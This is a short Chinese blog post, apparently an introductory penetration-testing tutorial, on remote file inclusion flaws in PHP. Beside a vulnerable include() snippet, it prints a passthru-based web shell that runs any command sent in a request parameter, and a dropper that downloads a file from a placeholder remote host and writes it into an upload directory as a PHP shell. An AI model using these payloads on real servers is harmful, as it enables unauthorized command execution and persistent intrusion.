【渗透测试】-文件包含漏洞之初入茅庐

2017-08-11  本文已影响40人  lndyzwdxhs

0x01:什么才是”远程文件包含漏洞”?

为什么会产生漏洞?

if ($_GET[page]) {
include $_GET[page];
} else {
include "home.php";
}

0x03:如何利用漏洞?

if (get_magic_quotes_gpc())
{$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //去掉转义字符(可去掉字符串中的反斜线字符)
ini_set("max_execution_time",0); //设定针对这个文件的执行时间,0为不限制.
echo "M4R10开始行";       //打印的返回的开始行提示信息
passthru($_REQUEST["cmd"]);   //运行cmd指定的命令
echo "M4R10结束行";       //打印的返回的结束行提示信息
?>
$f=file_get_contents("http://www.xxx.cn/m4r10.txt"); //打开指定路径的文件流
$ff=fopen("./upload/m4r10.php","a");     //寻找一个可以的目录,创建一个文件
fwrite ($ff,$f);  //把前面打开的文件流写到创建的文件里
fclose($ff);    //关闭保存文件

0x04:文件包含漏洞的分类


欢迎关注微信公众号(coder0x00)或扫描下方二维码关注,我们将持续搜寻程序员必备基础技能包提供给大家。


上一篇 下一篇

猜你喜欢

热点阅读